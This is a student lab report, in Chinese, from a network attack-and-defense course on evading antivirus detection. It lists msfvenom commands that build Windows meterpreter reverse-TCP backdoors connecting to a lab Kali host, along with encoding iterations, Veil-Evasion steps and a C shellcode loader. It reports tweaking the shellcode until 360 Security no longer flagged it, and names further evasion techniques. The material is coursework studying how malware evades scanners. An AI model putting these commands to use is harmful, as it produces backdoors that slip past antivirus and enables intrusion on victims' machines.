20145335郝昊《网络攻防》———免杀原理与实践
实验内容
-
理解免杀技术及其原理,深入理解课堂老师所讲内容;
-
正确使用msf编辑器(即实验二中后门程序所用编辑器),veil-evasion,自己利用shellcode编程等免杀技巧来完成实验;
-
正确通过组合应用各种技术实现恶意带代码免杀,避免360安全卫士或各种杀毒软件的查杀。
-
若完成免杀实验并且成功,将其连回kali虚拟机下进行验证后门木马程序是否可以使用。
实验过程及结果
-
注意:测试网址使用的是这个:click here
-
所使用的虚拟机ip地址为
172.20.10.11
msf编辑器直接生成meterpreter后门程序
- 使用实验二生成木马程序的后门命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.11 PORT=208 -f exe > test20145335hh.exe
生成可执行文件test20145335hh.exe
并且上传,发现有错误(提示含有非法字符)
msf编辑器生成可执行文件
- 理论上通过编码或者多次编码可以达到效果,但是现在的杀毒软件公司已经将其考虑进去了,但是依然可以作为实验练习,使用命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=172.20.10.11 -f exe > 5335-encoded.exe
并且上传,依然会有提示错误
- 同样从理论上进行多次编码,应该被查杀到的概率会降低,其中在命令中加入
-i 10
进行10次编码,结果如下,相比1次编码的免杀效果相对好一些,但依然还是能被扫描出来。
利用Veil-Evasion生成exe文件
-
使用命令
veil-evasion
打开软件;在menu里面输入以逐步输入以下命令来生成可执行文件。use pyhton/meterpreter/rev_tcp set LHOST 172.20.10.11 generate 5335-winmine 1
-
之后会有如下,注意生成的文件存放在绿色的目录下(注意找不到的可以使用搜索目录)
-
上传veil写出的可执行文件扫描结果如下,虽然有提高,但还是没有达到完全免杀的效果。
c语言调用shellcode
-
因为kali虚拟机下没有vs编译软件,在编写程序的时候使用主机下的vs2013进行编译
-
首先使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.11 LPORT=208 -f c
生成一个数组,之后在编译c语言代码的时候需要使用。
-
代码(可执行文件名为5335x4232.exe)
-
之后上传网页进行扫面。!!!重点来了,在我还没有上传的时候,360安全卫士就跳出了高危漏洞的提示。
- 上传网页的结果如下,扫描结果比之前要完善了许多,显示绿色的found nothing 数量增加,但依然还没有达到免杀效果。
-
再次进行尝试对c代码进行修改,修改主函数,为了避免杀软根据数组值直接的差来判断特征码,所以对于每个数据进行加值运算。(可执行文件名为4232x5335.exe):
-
之后进行上传页面扫描。!!!重点来了,依然被360卫士查杀出来了,然而对于同类似的修改c主函数的操作,蔡野同学的代码却没有被任何杀毒软件查杀出来达到了免杀效果。可想而知360杀毒软件公司的软件的病毒数据库的更新还是比较快的。
-
之后我对于代码的数组进行修改,对每两个数据采用加了一个空格,进行修改特征值的变换,从而达到免杀效果(可执行文件名为5335.exe)。
-
不论是360自定义扫描还是快速扫描都无法检测出后门程序,免杀成功。
实验问答
-
(1)杀毒软件是如何检测出恶意的代码的?
答:是根据特征来检测和根据行为来检测的。
-
(2)免杀是做什么?
答:一些木马后台软件在植入和运行的时候通过一些编码手段免于遭到各种计算机杀毒软件的检测。
-
(3)免杀的基本方法有哪些?
答:
1.入口点加1免杀法
2.变化入口地址免杀法
3.加花指令免杀法
4.加壳或伪装壳免杀法
5.打乱壳的头文件免杀法
6.修改文件特征免杀法
心得体会
本次实验是在实验二meterpreter后门程序的基础上完成的,首先需要掌握什么是后门木马程序,不仅需要将其运行,这只是简单的一步,本次实验更重要的是如何达到不被杀毒软件发的并查杀的目的。本次实验参考了刘老师的实验教程完成的。经过实验可以发现,免杀不仅仅只有一种方法,会有很多种办法来达到免杀效果,即使同一种方法可能今天还可以成功实行,也许明天就会失败。就比如这次利用c语言调用shellcode写c代码,通过修改主函数,让kali下产生的随机数组中的数据每个进行加值,同类似的操作蔡野同学可以达到免杀效果,但是我失败了,360报出了高危漏洞的提示。于是后来我又尝试通过修改数组中的数据,给每两个数据中间加上空格,这样以来就成功了,达到了免杀的效果。所以通过这次实验第一次简单的使用meterpreter程序到后来c调用shellcode只要用于多次尝试,总是能达到效果,完成实验的。